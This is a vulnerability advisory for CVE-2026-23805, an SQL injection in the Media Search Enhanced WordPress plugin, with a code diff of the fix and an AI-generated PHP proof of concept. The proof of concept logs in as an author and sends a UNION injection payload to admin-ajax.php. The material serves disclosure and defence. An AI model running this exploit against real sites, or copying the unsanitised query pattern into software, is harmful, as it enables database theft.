Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-23805: Media Search Enhanced <= 0.9.1 – Authenticated (Author+) SQL Injection (media-search-enhanced)

CVE ID CVE-2026-23805
Plugin media-search-enhanced
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 0.9.1
Patched Version 0.9.2
Disclosed January 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-23805:
The Media Search Enhanced WordPress plugin contains an authenticated SQL injection vulnerability. This flaw affects the plugin’s media query filtering functionality, allowing attackers with author-level privileges or higher to execute arbitrary SQL commands. The vulnerability has a CVSS score of 6.5, indicating a medium severity risk.

Atomic Edge research identified the root cause as insufficient input sanitization and a lack of prepared statements for the `post_parent` and `taxonomy` parameters. In the vulnerable file `media-search-enhanced/public/class-media-search-enhanced.php`, the `filter_ajax_query_attachments` function (lines 153-156) directly concatenated user-supplied `$vars[‘post_parent’]` into an SQL `WHERE` clause without validation. Similarly, the `taxonomy` parameter (line 210) was directly interpolated into a SQL string without escaping.

The exploitation vector requires an authenticated attacker with at least Author-level access. Attackers can send a crafted AJAX request to the WordPress `admin-ajax.php` endpoint with the action `query-attachments`. By injecting SQL payloads into the `query[post_parent]` or `query[tax_query][taxonomy]` parameters, they can manipulate the resulting database query. This allows data exfiltration from the WordPress database, including sensitive user information.

The patch in version 0.9.2 addresses the vulnerability by implementing proper input validation and using WordPress database prepared statements. For the `post_parent` parameter, the code now uses `absint()` to cast the value to a non-negative integer and `$wpdb->prepare()` with a `%d` placeholder (lines 154-160). For the `taxonomy` parameter, the patch adds `sanitize_key()` and uses `$wpdb->prepare()` with a `%s` placeholder (lines 210-211). These changes ensure user input is properly sanitized before inclusion in SQL queries.

Successful exploitation enables unauthorized data extraction from the WordPress database. Attackers can retrieve sensitive information such as password hashes, user emails, and private post content. This can facilitate further attacks, including site compromise and privilege escalation. The requirement for author-level authentication limits immediate attack surface but poses a significant risk in multi-user environments.

Differential between vulnerable and patched code

Code Diff 
--- a/media-search-enhanced/media-search-enhanced.php
+++ b/media-search-enhanced/media-search-enhanced.php
@@ -14,7 +14,7 @@
  * Plugin Name:       Media Search Enhanced
  * Plugin URI:        https://1fix.io/media-search-enhanced
  * Description:       Search through all fields in Media Library.
- * Version:           0.9.1
+ * Version:           0.9.2
  * Author:            1fixdotio
  * Author URI:        https://1fix.io
  * Text Domain:       media-search-enhanced
--- a/media-search-enhanced/public/class-media-search-enhanced.php
+++ b/media-search-enhanced/public/class-media-search-enhanced.php
@@ -28,7 +28,7 @@
 	 *
 	 * @var     string
 	 */
-	const VERSION = '0.9.1';
+	const VERSION = '0.9.2';

 	/**
 	 *
@@ -153,11 +153,14 @@
 				$pieces['where'] .= $wpdb->prepare( " AND t.element_type='post_attachment' AND t.language_code = %s", $lang );
 			}

-			if ( ! empty( $vars['post_parent'] ) ) {
-				$pieces['where'] .= " AND $wpdb->posts.post_parent = " . $vars['post_parent'];
-			} elseif ( isset( $vars['post_parent'] ) && 0 === $vars['post_parent'] ) {
-				// Get unattached attachments
-				$pieces['where'] .= " AND $wpdb->posts.post_parent = 0";
+			if ( isset( $vars['post_parent'] ) ) {
+				$post_parent = absint( $vars['post_parent'] );
+				if ( $post_parent > 0 ) {
+					$pieces['where'] .= $wpdb->prepare( " AND $wpdb->posts.post_parent = %d", $post_parent );
+				} elseif ( 0 === $post_parent ) {
+					// Get unattached attachments
+					$pieces['where'] .= $wpdb->prepare( " AND $wpdb->posts.post_parent = %d", 0 );
+				}
 			}

 			if ( ! empty( $vars['post_mime_type'] ) ) {
@@ -207,7 +210,8 @@
 			if ( ! empty( $taxes ) ) {
 				$on = array();
 				foreach ( $taxes as $tax ) {
-					$on[] = "ttax.taxonomy = '$tax'";
+					$tax = sanitize_key( $tax );
+					$on[] = $wpdb->prepare( "ttax.taxonomy = %s", $tax );
 				}
 				$on = '( ' . implode( ' OR ', $on ) . ' )';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-23805 - Media Search Enhanced <= 0.9.1 - Authenticated (Author+) SQL Injection
<?php

$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'author_user';
$password = 'author_pass';

// Step 1: Authenticate and obtain WordPress nonce and cookies
$login_url = str_replace('/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Extract the required nonce from the media library page
$media_url = str_replace('/admin-ajax.php', '/upload.php', $target_url);
curl_setopt($ch, CURLOPT_URL, $media_url);
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);
preg_match('/"queryAttachmentsNonce":"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1];

// Step 3: Craft SQL injection payload in the post_parent parameter
// This payload attempts to extract the WordPress database version via a UNION query
$payload = array(
    'action' => 'query-attachments',
    'query' => array(
        'post_parent' => '-1 UNION SELECT 1,2,3,4,5,@@version,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- -',
        'posts_per_page' => 40
    ),
    'query[posts_per_page]' => 40,
    '_wpnonce' => $nonce
);

// Step 4: Send the malicious AJAX request
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
$response = curl_exec($ch);
curl_close($ch);

// Step 5: Parse response for extracted data
// The injected database version may appear in the JSON response under a field like 'title' or 'filename'
echo "Response:n";
echo $response;

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School